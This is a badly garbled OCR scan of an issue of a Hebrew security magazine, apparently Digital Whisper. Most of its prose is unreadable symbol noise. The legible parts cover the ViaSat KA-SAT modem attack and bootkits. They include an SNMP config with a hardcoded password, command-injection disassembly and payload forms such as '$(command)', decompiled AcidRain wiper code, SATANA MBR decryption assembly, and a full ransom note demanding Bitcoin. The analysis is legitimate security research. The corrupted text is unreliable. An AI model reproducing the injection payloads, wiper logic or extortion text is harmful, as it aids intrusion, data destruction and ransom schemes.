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Technologic

. X S s ¢
s 7 X « .~ S
X 1 s ¢ b
“("'l'l X'l'l .
X ox 4. X ] Ly oD s T X APKSe s O iy s s {7 s
1. 0 v ixe o x i g T o kA AXs s xds T o X Hy x o sx Do
LS X T X Ty sy X O R ] e s b X xS o
FSop 44 w0 woxssx sl o Xsx, ys 0 o iSks AN, (AN s XL X))
20 TR T N IR N S B
el XA AT s LT Xl x s {1 s d g iSRS Xy
1%« v ix< L~ 4Ys s, . Fafse Positiy@ 1. X xxl, 4 xXoosx o XTs{ ] x4
S T S A S N . v 17 1Supply €haitf + 4+ *x )t s HIML | x x « |
X 4. " s s X L X X I X T e L e xs 08T s e 0 X
P4, xS DX 1 s L L poS Lo .. D D G Lo X4 4 x s
XY, « S . .L = C Lo I 7« x x X {,"%{x Is x s Cs
x Moy x oy s .8 X
I x ] s FY 41 3 x 1 R s § ox . I 4y s | S .« .o« ’XY‘A |

SR 4 xy SN A@TTRA) L~ 41 s SN osIxI S 1 {ix 4. s¢

IoX w0 oosmxesds lox iy Dos o, s, ol x Yy s %

www.DigitalWhisper.co.il
0 Hoand "mmdn = x 4 L Y




Technologic

AT AT T X
2 1., x s X
4 AT
5 ViaSat « —_Isx x40 x 4«
19 Bootkits - It's Never Deep Enough
40 w7 {Lux o 4 Fileless Attacks
59 NahamCorCTF 2022 ~ ¥ ‘w1 1 X &
8 4 Blue Hand=on BloodHound
107 Fx 14 4.

www.DigitalWhisper.co.il

Hoand "mmdn = x 4 L Y



Technologic

ViaSat L 1 x x o s X o1~
(Ruben Santamartar . + 1%~ ¢ 4 A(epF7TK4DL « 4 1 XX ), v o
S « S
T4 xoxy x 1, x . 1, L+ X , B X 4 s 247 x X s
, oox A Tlox X TAox [ x o T ALYy T xs T xox {8 T ] X s
N L e Pl X X1 X L~y U N 174
T 1 x0T o~ S
X | X X 4 s FLoxol . X S x X L X q S [
1~ , 1o 1s>X 1. 0~ WiaSat « , X TKABAT 1- » X« s oL Pl
s"J~s s”-|-||vx|_ SNL\.XX s % x S { .« X I x X L 1V .
S I B A B, B
S A Ty 4 e BB A ] s xigxD, L g s Do x T
s 11*+« DDRoST xx | 117 -4« 40 x XMoo x 4 0" s
X o 4 vs e l,ax ]
~ 1@ © , sl sx «- Commandement de I'Espac€dEs _ ~ ~, ¥ " 4 01 4, 3%« 411
FYe X S 1 T T G Y T s e T K X s XS .
Sx X ]l e N AT g xS, s, x4 ] DU Jed, xR s s
ST 1w ¥ys o ox o X v XS
3BS X X BASKX {x x X (X T g Rs s gs X ]
(EHFtSHH ~ | red P WSyracuse ¢ . s v XLe s T 4 X x
L X« 1Syrdctise L Sycral2s 4 7 4 ¥ oxy X w0 13X 49 4 e x4
(sdc 14+ T4 tox o AtherdaFidug + ., X AWTxdst X 47 4 xox
Ko AT 7 4 xx ] X s I x q X is LX X4«
R I I T I o s s w1 dy,s, x7 L
Ked g 2 fxsx oy VigSat¥ 4% 4. o5 s X 1s Y
x4 7 4 x x| s Reversemode.com kK x X s . + Ruhed Santamarta 1 1 * » & x ]
e L x4 ], AN cx x4y sx o Dx X ], "s s ] X

A~ ~ o~

HIATCOM Terminals: Hacking by Air, Sea, andhLand _ *

+ « » sBlagkHat 20E& . x s

ViaSat

www.DigitalWhisper.co.il

Hoand "mmdn = x 4 L Y

]


https://www.reuters.com/business/aerospace-defense/satellite-firm-viasat-probes-suspected-cyberattack-ukraine-elsewhere-2022-02-28/
https://twitter.com/LaeCesari/status/1499863645987168256?
https://twitter.com/LaeCesari/status/1499863645987168256?
https://en.wikipedia.org/wiki/Syracuse_(satellite)
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https://en.wikipedia.org/wiki/Marisat_1
https://en.wikipedia.org/wiki/L_band
https://en.wikipedia.org/wiki/Ultra_high_frequency
https://space.skyrocket.de/doc_sdat/marecs.htm
https://en.wikipedia.org/wiki/TAT-8
https://en.wikipedia.org/wiki/Transatlantic_communications_cable
https://en.wikipedia.org/wiki/TAT-14
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https://en.wikipedia.org/wiki/Astrium
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SNMP
J .1 x7{s (Sahtamfarta il  ee< 1T LX) S ox " s, 411 T xxq|
P, U o e x . s o s 4 ] s {SNMPs. TE e dd )
S oL x ] s 4 Paypgadﬂ >Z""X““Zss X e X, L, 1 Doxlboxo . x

trapcommunity public
rocommunity public default -V xperf
rwcommunity private default -V xperf

engineIDType 3
engineIDNic eth@

createUser viasat SHA "75@t1133" AES

rwuser viasat

dlmod vsatSb2Ut /usr/local/share/snmp/dlmod/vsatSbh2Ut.so

[https://www.reversemode.com/2022/03/viasaincidentfrom-speculationto.html  : ~ * « _ ]
- vGatSh2Ut.so . * Chemty 1 " . X-MIBX _ X L + A

Function name Segment Start

handle_vsatSb2UtCspConnected text 00010E28
handle_vsatSb2UtCspDegradedReason text 00010EEQ
handle_vsatSb2UtCspDisconnectReason text 00010C00
handle vsatSb2UtCspDisconnectTime text 00010CB8
handle_vsatSh2UtCspDostventDetected Text 00010868
handle_vsatSb2UtCsplastDosEvent text 00010780
handle vsatSb2UtCsplLastFIPkisLost text 00010908
handle_vsatSh2UtCspLastRIPktsLost text 00010920
handle_vsatSh2UtCspLastWebpageloadDuration text 00010A90
handle vsatSb2UtCsplastWebpagelLoadTime Text 00010848
handle_vsatSb2UtCspOnlineTime text 00011038
handle_vsatSh2UtCspProcessRunning text 00010F98
handle vsatSh2UtCspRetransReceivePkts text 000104D0
handle_vsatSh2UtCspRetransSendPkts text 00010588
handle_vsatSh2UtCspStartTime text 00010640
E handle vsatSh2UtMacConfAaaName text 0000A840
E handle_vsatSh2UtMacConfDumpBB text 0000AAFO

[https://www.reversenpde.com/2022/03/viasaincidentfrom-speculationto.html @ ~ x « _ ]
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https://www.digitalwhisper.co.il/files/Zines/0x28/DW40-1-AttackingSNMP.pdf
https://en.wikipedia.org/wiki/TR-069
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RomPager + _ * oo X xCPB X, 1 v ACSL . SSs o d L L X« X 1x.,
x " CHeckPoiRt r 41 XX Sy AL, 4 A0 B Y XA4SLET 4" S) L x]
I_-|\x,_>-|”isx,,-| s 7 « x s ¢ . L ” X 4 % S J{8fy "3 s »~ 1Y s ¢
” ” X
17 .17 9+ 41X s
P s _ AXIROSH » X JAXACT + _TR069s 1 x « 1 +Surfbearhzs 1 ¥ * { ]
LOX e L w x A, X e X s s v L Bdntarharta LY 4 .s
S« .~ X Clients” s: « Santamarta o XX S X X 4 1. s . LS 7L
B I _— w b, X% . Xox |
s ¢ X L, A 1.1 S - S N XL s {s = 1" R
~ > -~ A
b4 TE@PB X v 4 s .~ ¢ 4" x _ Comimand lhjection 7 X XL X WAL~ 4" 1x
x_cwmpclient 1.« 7 4 xX , ST X .8 17 x
= v
loc_l0829100: # s
move $a0, $s4
jal strlen
1i $s0, 1
move $a@, $s5 #s
jal strlen
move $s1, $ve
addu $s3, $s1
addiu $s3, ex48 # ‘@'
addu $s3, $ve
jal malloc # allocate memory for sprint'ing the final command-line, including the received (attacker-controlled) parameters
move $a@, $s3 # size
lui $a5, ex1ees
sw $s5, @x26@+var_25C($sp)
lui fa2, @xlees
sw $52, Ox260+var_254($sp)
lui $a3, exlees
1i $a4, ex12C
la $a5, aUsrBin # "/usr/bin/"
move $a6, $s4
addiu  $a7, $fp, (aStart_® - ©x1@e5eeee) # "START"
move $a@, $ve #s
move $al, $s3 # maxlen
la $a2, aSDSSSetupSSS_@ # "%s %d %s¥%s_setup %s %s \"%s\" &"
la $a3, aTimeoutT # "timeout -t"
jal snprintf
move $s1, $ve
lui $al, @x1ees
lui $a2, ex1ees
la $al, aSSetupScriptS # "%s: setup script %s"
la $a2, aCallSetupScrip_@ # "call_setup_script_no_wait"
move $a3, $s1
jal logg
1i $ae, 7
|jal system # This is bad
move f$a@, $s1 # command
jal free
move $a@, $s2 # ptr
jal free
move $a0. %<1 # ptr

[https://www.reversemode.com/2022/03/viasaihcidentfrom-speculatiorto.html
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Shell - I x < | . X, X ~ _ ¥ Command Ipjection - s e 4 s L .

~v v ~

TXY L v dad. 1 ix Lo

1 "parametercommand
1 ‘"parameter command"
1 "parameter$(command)

~ . X« _8760x1s. x| o /usr/binfbBagent_+ _ * 4 . <7 4 XX s

>

snprintf(acStack5248,0x1000,"PosixBlackBoxThrow —s -D %s -F %s —i %s —p %u -u %s",uVar6);
FUN_10001250(5,"Uploading BB: %s",acStack5248);

puts(“calling PosixBlackBoxThrow");

uStack5252 = system(acStack5248);

[https://www.reversemode.com/2022/03/viasancidentfrom-speculationto.html @ ~ x « _ ]

. x " X s X 1. s
https://book.hacktricks.xyz/pentestinaveb/commandinjection
LS L, XLt~ X APPSINSTALL X+ _ ¥ ] s:i{".sClients X 4 X
L xS s T xS s X {CBB 4 LS X, 0 kX

1, - ¥ x 1 i . « S o

>

local status
local retry=0

# Validate the config file

# Set default thread stack size
s 1024

# Keep trying to get an image until the link is found
status=$
"$status" n2n

s —t app_img_dwnld "Integrity check failed - don't retry"
s an integrity check stop trying to re-download

return 1

if ! —f $INSTALL_DIR/$IMAGE_ID
then
s -t app_img_dwnld "Failed to find image birthmark, retrying in 3@ seconds"
if $retry -1t $INSTALL_RETRY_MAX
then
retry=" sretry + 1°
30
else
s ~t app_img_dwnld "Installing $APP_NAME failed after $INSTALL_RETRY_MAX times"
return 1

done

# Birthmark is verified with IMAGE_ID. Good image.
5IMG INSTALLED

[https://www.reversemode.com/2022/03/viasancidentfrom-speculationto.html @ ~ x « _ ]
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11 fx 77X S X ACS x ¥ 4 7 x o Y Rirmwaded L™« ¢ s X Clients | _{x
ACS = ~ L 1L+ s i L lu -~ Firmwares S+ )« H X3 xd 4~xs
s X x ViaSat.s s 41 ..xvy 4 "x<s s {Hrmware _ 1 ¥Isd. o« L o« X

FORCE_ENC:@|
#Determine if only encrypted images will be allowed
if [ -f /tmp/NapInfo
then
ORG_NAME=5 ( /tmp/NapInfo | OrgName | 's/"//9" | -F'(=] )' '{print $2}')
if [ $ORG_NAME == "NBN" ]; then
FORCE_ENC=1

# Config files trump the existance of certs, so use config files to determine if we force encryption or not
if —f "$CONFIG_PATH/no-nbnco" ]; then

FORCE_ENC=0
fi

# no-unsigned-sw trumps no-nbnco config and only allows encrypted images
if -f "$CONFIG_PATH/no-unsigned-sw" ]; then
FORCE_ENC=1

fi

# excede modem with NBN certs and an Excede build allow for non-encrypted images
if ! —f /usr/sbin/unwrap J; then

FORCE_ENC=0
fi

if [ $FORCE_ENC -eq 1
then
info "Unwrapping software image..."
$1 $1 -r 2 /root/certs/TrustList.pem -k /root/certs/keysplit —d

FoooX o Lo N I x o L1 s [ Lo 1, x - -
T«* .4 _ A X | Firmwares « @« ¥ 1S 4x*Xs” 1] §] < s
boots X T 4" <xs  TSNVRAMS XX 4] S I . xwX o Dx {7 xx
1 »~ Cdmmand Injectionx ~ =~ I x<s 4 1 11+« (x4 7 A1 1 ]x
=14 X L8] x =g X . Dx ol x. X

11 WigSatx: -~ *1 41 4 P, o~ X

Subsequent investigation and forensic analysis identified a grbardd network intrusion by aattacker
exploiting a misconfiguration in a VPN applte to gain remote access to the trustathnagement
segment of the KSAT network. The attacker moved laterally through this trusted management nefwork
to a specific network segment used to manage and operate the network, and then used this network
accesdo execute legitimate, targeted management commands on a large number of residential mgdems
simultaneously. Specifically, these destructive commands overwrote key data in flash memory:on the

modems, rendering the modems unable to access the networkdbytenmanently unusable.

i v, x oL L X s q{"s 17 Y L b4 VPRNS s D%, 1] s L KIS

R B SR TR B x4 414y x1x o 4.s 41

{1 14. _ AG® 1% s9q9. | >*s ;x> 7 |-« s 4« os 11 ©
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{ x., s , <s

LX w1 x ss, l 1% 4 xVjaSat S XS, . *x | s op.36/03% 4.1~

ALY wsqs s .4 11 sx:i 1 oAs . x x s s

: FactoryReset © x + _«* 1 x s

-

+ L _ SupplyChdin , « XL

0.

Viasat has conducted an exhaustive analysis of impacted modems and confirmed ndiemomianpact
to any electrical components, no impact or compronsifsany modem physical or electronic components,

no evidence of any compromise or tampering with Viasat modem software or firmware images and no

Q) -

evidence of any suppbhain interferenceThe modems can be fully restored via a factory reset. To date,

Viasat has no evidence that standard modem software or firmware distribution or update proéesses

involved in normal network operations were used or compromised in the attack.

’(s,,x]s Yoo X i, x s X4 0] =v¢) S p X v L X X 0B 4K ] K

sl xS C L X s " | x s e _— A O .,

1 xSurfbeam2 x ¢4 _ P x 47  x 1T Ruban((eimkmo 4 _ s~ d) L kx|
. X x " q . ol s 4. s ©» ¥ ViaSats :, ~ X TSETCOM ~» X 1 ~» 141 _
X v, " Ts 1] ol s <7 ooy s 1.
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JpansionS29GL256P90TFCR2 ¥ ! _ )  + {Flashx _ 3 x Kkirméwares - - Ruban 1

X « . X . S i - R e S +« X X

@ ® ! attacked1.bin fw_fixed.bin

1CA8AA@ | FFFF 57DD FFFF 56DD FFFF 55DD FFFF 54DD || ““W>""V>""Us>""T» 1CA8AAG | @BOZ 31@D 8D9@ 250C E112 (6C6 48EZ E670 1 ¢é% - AAH,Ep
1CABAB@ | FFFF 53DD FFFF 520D FFFF S51DD FFFF 50DD || “"S>""R>"7"Q>""P» 1CA8ABO | 6173 7364 ES26 38C4 4D01 0208 2E6E 69CE | | assdA&SFM .niE
1CABACO | FFFF 4FDD FFFF 4EDD FFFF 4DDD FFFF 4CDD || " "0> 7" "N>""M>""L> 1CABACO | @510 6000 6667 1F25 1985 (001 0000 0031 © fg % 0; 1
1CABAD@ | FFFF 4BDD FFFF 4ADD FFFF 49DD FFFF 48DD || “"K>""J>""I>""H»> 1CA8ADO | (320 DD5SD 0000 @003 0000 0OOB 0000 0OQF | | >]

1CABAE@ | FFFF 47DD FFFF 46DD FFFF 45DD FFFF 44DD || ""G>""F>""E>""D» 1CABAEQ | 4B3D 3B85 0008 0000 882D 4288 ABSA @7CE| | K=;0 a-Batd &
1CABAF@ | FFFF 43DD FFFF 420D FFFF 41DD FFFF 4QDD | | ""C>""B>""A>""@> 1CABAFO | 6265 616D 2D68 6973 74FF FFFF 1985 (0@l | |beam-hist™ "~ {;

1CA8B0G@ | FFFF 3FDD FFFF 3EDD FFFF 3DDD FFFF 3CDD ||~ "7 ">>" "=5>""<> 1CASB00 | 0000 0035 (44D 1944 0000 0003 OO BABC S5fM D
1CA88B1@ | FFFF 3BDD FFFF 3ADD FFFF 39DD FFFF 38DD || " ";> " :>" 79> "8> 1CASB10 | Qo0 0002 4B3D 3B3S 0DO@ 0000 D544 44A7 K=;0 'DDR

1CA8B20 | FFFF 37DD FFFF 36DD FFFF 35DD FFFF 34DD || ""7>776>7 7557 "4» 1CA8B20 | 1724 20CE 6265 616D 2D68 6973 742E 746D $ Ebeam-hist.tm
1CA8B3@ | FFFF 33DD FFFF 320D FFFF 31DD FFFF 3@DD || “"3>772>""1>7 70> 1CABB30 | 70FF FFFF 1985 (002 0000 0044 A4EF 223E | |p™ "~ 0g D§0">

1CA8B4@ | FFFF 2FDD FFFF 2EDD FFFF 2DDD FFFF 2CDD || /57" .57 "=>"" > 1CA8B40 | 0000 0010 0000 0001 000@ 81B6 @000 0000 LY
1CA8B5@ | FFFF 2BDD FFFF 2ADD FFFF 29DD FFFF 28DD || ““+> "*>" ") " (> 1CASBS0 | 0000 000@ 5745 E957 5745 E957 5745 E957 WEEWWEEWWEEW
1CABB60 | FFFF 270D FFFF 26DD FFFF 25DD FFFF 24DD || ™" "> " "&>" "%> " "$» 1CABB60 | 0000 0000 0000 0000 0000 0000 0000 0000

1CA8B7@ | FFFF 23DD FFFF 220D FFFF 21DD FFFF 20DD || ““#5>""">""1>"" » 1CASB70 | 0000 0000 331C C3E1 1985 (001 8000 0038 3 2. 04 8
1CA8B8@ | FFFF 1FDD FFFF 1EDD FFFF 1DDD FFFF 1CDD || " »77 >77 »7" » 1CABB80 | BAFC 65F9 0000 2003 0000 000D 2000 0010 | | [, e”

1CA8B9@ | FFFF 1BDD FFFF 1ADD FFFF 19DD FFFF 18DD||™" >77 >77 »77 » 1CA8B9@ | 5745 E957 1008 @000 3CB4 4E23 D7DD E136 | | WEEW <¥N#0> .6
1CA8BA@ | FFFF 17DD FFFF 160D FFFF 15DD FFFF 14DD || ™" >77 >77 »77 » 1CA8BA® | 6(6B 672D 7265 742E 636F 6E66 2E74 6D7@ | | Lkg-ret.conf. tmp
1CA8BB@ | FFFF 13DD FFFF 120D FFFF 11DD FFFF 1@DD || " >"7 >"" "7 » 1CASBBO | 1985 (002 0000 @@9E C2E9 19F4 0000 0010 bz G-k U
1CA8BC@ | FFFF @FDD FFFF QEDD FFFF @DDD FFFF @CDD || ™" >77 »>77 »77 » 1CABBCO | 0000 0002 0000 81B6 0000 0000 0000 GASA Ae Z
1CA8BD@ | FFFF @BDD FFFF @ADD FFFF @9DD FFFF @8DD || ™" >77 >77 »77 » 1CASBDO | 5745 E957 5745 E957 5745 E957 0000 0000 | | WEEWWEEWWEEW
1CABBEQ | FFFF @7DD FFFF @6DD FFFF @5DD FFFF @4DD || ™" >"7 >"" »77 » 1CASBED | 0000 00SA 0000 GBSA 000 0000 F205 5730 Z Z 0 we
1CA8BF@ | FFFF @3DD FFFF ©2DD FFFF @1DD FFFF @@DD || ™" >77 >77 »77 » 1CA8BF@ | 7CB3 A373 5B20 5245 5420 S5DOA 5665 7273 | | Iz£s[ RET ] Vers
1CA8CG@ | FFFF FFDC FFFF FEDC FFFF FDDC FFFF FCDC || ™" 7"¢™7 «777¢™7 ¢ 1CA8C0O0 | 696F 6E2@ 3D20 320A 5361 745F 4964 203D | |ion = 2 Sat_Id =
1CA8C10 | FFFF FBDC FFFF FADC FFFF FODC FFFF F8DC || ™" "¢" "¢ " ¢" " "¢ 1CABC10 | 2832 310A 2020 4265 616D 5F49 6420 3D20 21 Beam_Id =
1CA8C20 | FFFF F7DC FFFF F6DC FFFF FSDC FFFF F4DC || ™" "¢ " <" "1¢” "¢ 1CABC20 | 3130 @A20 2054 785F 5472 6961 5F53 6E20 | |10  Tx_Tria_Sn
1CA8C3@ | FFFF F3DC FFFF F2DC FFFF F1DC FFFF FODC || " "0¢ "0<¢ "0¢ "we 1CA8C30 | 3020 3131 3930 3830 3733 3137 @A46 696C | | = 1190887317 Fil
1CA8C4@ | FFFF EFDC FFFF EEDC FFFF EDDC FFFF ECDC || " "0¢""0¢ "1¢" " 1¢ 1CABC40 | 655F 557@ 6461 7465 7320 3D20 310A FFFF||e_Updates = 1 7
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x Doxoo Wigedt Ik d S X (P AT v ds x4 Xs fx ] X L x T x gy
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https://en.wikipedia.org/wiki/Ukrop#:~:text=Ukrop%20(Russian%3A%20%D0%A3%D0%BA%D1%80%D0%BE%D0%BF%3B%20literally,the%20Russian%20word%20for%20Ukrainians.

Technologic

S « X's S 4 .« "X s L
data_to_overwrite = allocated_region;
if (allocated_region < puVarl) {
value_to_write = Oxffffffff;
do {
xallocated_region = value_to_write;
allocated_region = allocated_region + 1;
value_to_write = value_to_write - 1;
} while (allocated_region < puVarl);
XL 1value_to_write v x| . | DL x s Pattérns e X cx b L T fos
«~ 1 x 1 > ydlue to Wwrite = value to_write 1 : ~ * s T x < *  TOKfffffr 0 r
o« o7 o v bx s TRubenl dPatternst * x4 X% 0 LA

- - .1 . AckdRain TH* 1 s, 7. {SéntinelOneg - s . X 1s x5 ]

v >

bY LONAP B X v 441 . ot 4.%. GRUS & _ rAX43APT28 1! 11 1)
VPNFilter stage 31 dstr ~ 4y« s~ 4% x4 .<"xVPNFilter- x x* s {"

<X X = 4y VRNFilter %« M s sx {| P X s A X es D

~ ~ A v

X L X o E S 47 LL Y X s s ¢ S L I x
libc @ 14~ s Xy DA
T4 1x 0 1L ss ¢ SectionHeadey s 41 L

Location Q.[Slring Value }Strlng Representati... | Data Type (Location . B[ String Value | String Representation | Data
.shstrtab::00000001  .shstrtab ".shstrtab" ds .shstrtab::00000001 .shstrtab ".shstrtab" ds
.shstrtab::0000000b  .reginfo ".reginfo" ds .shstrtab::0000000b .reginfo ".reginfo" ds
.shstrtab::00000014 .init “.init" ds .shstrtab::00000014 .init "init" ds
.shstrtab::0000001a  .text ".text" ds .shstrtab::0000001a .text ".text" ds
.shstrtab::00000020  fini " fini" ds .shstrtab::00000020 fini " fini" ds
.shstrtab::00000026  .rodata “.rodata" ds .shstrtab::00000026 .rodata ".rodata" ds
.shstrtab::0000002e  .eh_frame “.eh_frame" ds .shstrtab::0000002e .eh_frame ".eh_frame" ds
.shstrtab::00000038 .ctors ".ctors" ds .shstrtab::00000038 .ctors “.ctors" ds
.shstrtab::0000003f  .dtors “.dtors" ds .shstrtab::0000003f .dtors “.dtors" ds
.shstrtab::00000046  .jcr “Jer® ds .shstrtab::00000046 Jjer et ds
.shstrtab::0000004b  .data “.data" ds .shstrtab::0000004b .data “.data" ds
.shstrtab::00000051  .got ".got” ds .shstrtab::00000051 .got ".got" ds
.shstrtab::00000056  .sbss ".sbhss" ds .shstrtab::00000056 .sbss ".sbss" ds
.shstrtab::0000005¢  .bss ".bss" ds .shstrtab::0000005¢ .bss ".bss" ds
.shstrtab::00000061 debug.abi32 ".mdebug.abi32" ds .shstrtab::00000061 debug.abi32 ".mdebug.abi32" ds
.shstrtab::0000006f  .pdr ".pdr" ds .shstrtab::0000006f .pdr “.pdr* ds
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https://www.youtube.com/watch?v=8M8MurmuEtQLast Call for SATCOM Security

https://www.youtube.com/watch?v=YeKswEamQGIBATCOM Terminals: Hacking by Air,

Sea, and Land

https://slideplayer.com/slide/6419534/ Basic Satellite Communication (2) Frequency

Allocation, Spectrum and Key Terms
http://web.uettaxila.edu.pk/CMS/SP2015/te SN#h

https://www.reversemode.com/2022/03/satcorterminalsunderattackin-europe.html

https://www.reversemode.com/2022/03/viasaincidentfrom-speculationto.html

https://www.sentinelone.com/labs/acidrar-modemwiper-rainsdown-on-europe/

https://www.viasat.com/about/newsroom/blog/kasatnetwork-cyberattack-overview/

https://www.viasat.com/about/newsroom/blog/satellitéhistory/

https://internet -accessguide.com/submarineeommunicationcablesthe-backboneof-

worldwide-communications/

https://www.britannica.com/technology/sateile-communication/Howsatelliteswork

https://en.wikipedia.org/wiki/Transatlantic communications cable
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degacys . , , ss 1. 4 A
®ootkits, . 1 x 4 x s Xs X o, lx {X  Xx s 1 S o x5 sy
[ I D Sl St IRV X W IS S I A A U N I T I SR I v 1s s 4
Teox Yy ox X s A x
LU s oo xx o x X x X4 o4 X0 s ss D .ty v | s
sE 44, s 1 4Ls X Pl Sl s DX 44X 0TS XX X X
141

Kernel

L ¢”XXH“YVSHS VX "”-|:">(-j s LX L L S _I's :.I , X -I « X L. 5 ” J + _I

.o [T I Lo, I«

d "L 141" o xox g
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BIOS

{1 EBPROM { | » *BIO® @™ I x s "« I _yx I 4{¢4{ s BQ®X1s _ s"x
FAX 4. sx 4 x v ] Al XPOSES X X T st 4 X LBl e s ] By | opks ¢

I T P I S R CXoLox LA X N AR " ok S Ly B A S L F
e 11! s _ I { WinloathBoeotloadert | 1 _ © s 4 INT13~ s 41X 7 1 x« T 447
T 1Yy LR B 12HmoK St rrdd0:Xv]¥4s xs" (04" « s BN Pl x X
by xos T x |s p MmHT XBIOSIE 1 FPOSE s | 41 L s ¢ @Bootlodder.

MBRE -~ xs s®s_ |l xxs. o410 x |

MBR

I q . .S X s X Zx-||_z|_é-{-|ZpXM'Jﬂ’-|x“ Ix X« Ts@ X xI X v x X, s . X ]«
s . {1 s

¢

RartitionTablg O 4 I, ~xs x4 T _ s Lo X qX . s

P44 UMBREE 4 Y X L x 7 | OMBRE IS XTPOS 3 4L x 8 Do s {4 X s X
Ostb5aa 1 s . x s h+ s +$MBRt dStage 1 Bootloadér

VBR/IPL

I @MBRt h1 s .41 SN s 1. @dipMHL S ow T ixsys< luxxss pxys €
QRATS _ Y )l 144« w4 Xos L. U xB oL sesis L, x4 K

BOOTMGR '+ Plmx s 14 _s T+« . 4> s s¢ x|

Bootloader
X ] 0 WX s ., ¢ R X . ,,z“.|”v~l X S ks XE-A)E. $ 4 ¢-|BBQ{|038_@~9'€§“
« X, «L Bl _Bobtloader, 1 s, s PH, X sl A0 s x4 d7
r 1 BGOTMGR 1 s+ 1 {1Bootkader, s @ ™.l <s <« 0« x s FdXos

®-x" 4L x1._ GRUBI & Mstag. _L"1s
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Legacy x 1 - : 1«

N ~ >

WSATANA s s 1. AL A s HL G Axxxr ox e Ll {7 ) x!

~

BOUAC: 4« _ x sc41: 10, s”x ] _ s o .xlbs | &Gblatme. . 1" 11s

~

- X Lo, Xl R (WBRYOMBRE 3 N X « L3Dfopper~ | 1T v L~

= ~

O R s L. sAAL s 44

A~

SolarTime

x @Fandersprithpd | s - ‘shadowbrokergs « x X «s o4, o« I x7x 4,4, Y¥
10 ) «, L NSAE -4 s s xC  Hguation Groupr _ ¥ s hx X hiox4 4 L]

®wrheBluglt x ¥ | . xx* < sx 4 I x | x 1 x{( PdgtExploitatioh s , L | s x
LXJ‘|~¢1@|$Ui.b‘|LX.F§ Z\x}~y S:‘)XNX“S Lo Z)Vx” s>|_Is va”x
~ %44 .1 se Y XPetsistente x L x | 4 (Handerspritiye . x 24 X x« Xy

GolarTimé « ~» T % 45 s { [ T x4 %X x Il { « A
SL .. 8ss B lpXx i1l dv L AL "w s X v fs 14 x SolarTime 1. . 14«
,.|\~s|_ s X ~V:~VSV ,,-|I|_—)'|s|g|_—livs]v: ssi‘A”)\s,sX:,,Jx,]AXVLxZ\
FY X Tx D4 X s 1" Stuxnett b L $s s ¥ *redvill/blue pilig ¢ 01
d ol

VBR/IPL 1 1 -~ |

x I x VBR/PEE] -~ XMBR% _ X » * GBRAPES X "] f.xs [ x 1 x s | X v
@x 4 p 4 lx 7 oxx x{s 1 qs oy {4x 4 s

DX G {VBRE . E 4% VBRY L X s 4 X4 wxs s ox o x

T« " B 1 j ¥ xBIQOTMGR,,I X « L ] x % s Lo . X X 3sx " :xx~\ ‘:vx.{"s.| “s:v Y
S v L X L L 5 "] X ] H.s ~ALIJx XS o | ¥ X~ S:-EM']XJSX 7 s{p\{nv“x.p(ll xss 1% 4 x
X« L.l xs X b T s X ks e

N T I

Bootkits- It's Never Deep Enough
www.DigitalWhisper.co.il
H H Hoand "mmdn = x 4 L Y




Technologic

Bootloaders {1 x 7

®4 1 Fde v 7S b 4 X O SNTRESL A o s H .- Master File"Table
X . Lo S L TN TR U | I N | D I i A
x‘."|~ L. Zx~“s|_ Z"v ESQLAS)LSXS15:JL”MVS":,I‘])S‘|5L“KXJ'|S:Xchr
P17 x hrtdld>X4ds
Bootloadert : - s _ XX < SMFWt. | T lMIPEEL. de_ S ox o x [ 4s DT
N R 11 AT 0 s A oG x L« dBDOTMGRG . x ¢ ] s
twinload.exgt ¢ 4«1 L. A« T« p Y ] xSCBOOTMGR ! ¢ 44 x o T x4
iR 7.« I'xo o4 1
Tt 1 ce v U s e vt X e o s o x4 xS X x s X
® -~ _ s A« _ X7 L, XE L s§ s I ¥ag X 0 ] veyistry | Lo
SATAN
40 s o x e o x D Dx DT OSATANAIX X oS s L oA XD T oK o X
x T e T S T S T A TR I (D S S S
? S 1D XSS X qd YL ¢ SATANAX <+ <X 4rpo ¥ | X s
14 __sv 7 ¢, 15, o, s_AL.lx sy sso ], 14
« . @Droppem VEXE * *x « 1+ _ s .. s o x| TP YT s x s oy S}
268 7 X~ XMBRT - SQUAE: | 1 x 11! s 1 x oy Pl x4 Toxy
xpyx  x s | LF
v gbs. x| v d4s o4 ] 1. % T MBRtL *xx 7 X 44X fq SN x XS
MBRt o1t ‘pmMmu_ x>« Ll xy>* Ogp*sxpps_ 1AX. ] 4 p.s
® L x CElLx WMBRE s 14duws L, s s e L. s s s 7 x
®.Cx7s MBRtd "xl Gs{ s 4] oy x4 A
Fdsx 1 317 x k) A r Al b xolie d 27X ] S s dls espl X s s
xxbroooxx o1 oo WX ¢ o xs x4 s X L A
X 1.4 _ 1. s L AL.s LXow X
"X _v.s L X{MBRY _ 4. X« WBRE s X oL s {11 s Cx"s
x X< _oXx o L1« L.xq. X MBREIX (®s f5] T ]TXOR_ S¥ 4 .x 8 X
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P I T RN

L Ox7c00- * x

©ONo G~ ®WDE

[
o 0~ wbhkE o

17" x| ¢ sMBRs™ :‘\xv$“.{
1% " @xe0t 1 x

L, % zxn

® : x _MBRt

mov si, 7C00h
mov di, 600h
Yy2¢@g OEZX
rep movsb
mov bx, 7C2Ch
sub bx, 7C00h
add bx, 600h
mov cx, bx
decr_loop:

Technologic

” ‘sx SJ'|~

B X MBREX "is x|

sps € x " X%

N ~ ~ A

Je »x B0 151 s os I LT
UV OMBRE 4 L

. ~ 41 ¢ 71 s L " ‘L-|A"x'|li¢>

~

HnnK

Y2¢g {3 ®OES

. xor al, [ds:encryption_key]

mov [bx], al
inc bx
cmp bx, 7FBh

jmp cx

d AL

jnzshortt 2 Oy m.

F L 4P Ix " oss | s s X s

D OXTE0®* L

Xs ( , slsxdss | L J.axd«

>

@ X

A

You had bad luck, There was cryvpting of all vour files in a FS bootkit virus
=ZI1SATAMNAL =

To decrypk vou need send on this E-mail: lanachkagsg@mail, com

wour private code: 3CEOC1FE63019581 180B74ACTOFADSZ4 and pay an

a Bitcoin wWallet: ¥iUS1vkIndkExpBEZro2tcA3zxdbfuxa T tokal 0,5 bkc

After that during 1 - 2 days the software will be sent to you - decryptar -

and the necessary instructions, Al changes in hardware configurations af

vour compuker can make the decryption of vaour Files absolukely impossible!

Decryption of your Files is possible only on wour PCI

Recovery is possible during 7 days, after which the program - decryptar -

can nok ask For the necessary signature from a public certificate server,

Please contack via e-mail, which wou can find as yek in the form of a kext

document in a folder with encrypted files, as well as in the name of all

encrypted files. I vou do nok appreciate wour Files we recommend wou Format

all waour disks and reinstall the system, Read carefully this warning as it is

no longer able ko see at startup of the computer, We remind once again- it is

all serious! Do not bauch the configuration af your compuker!

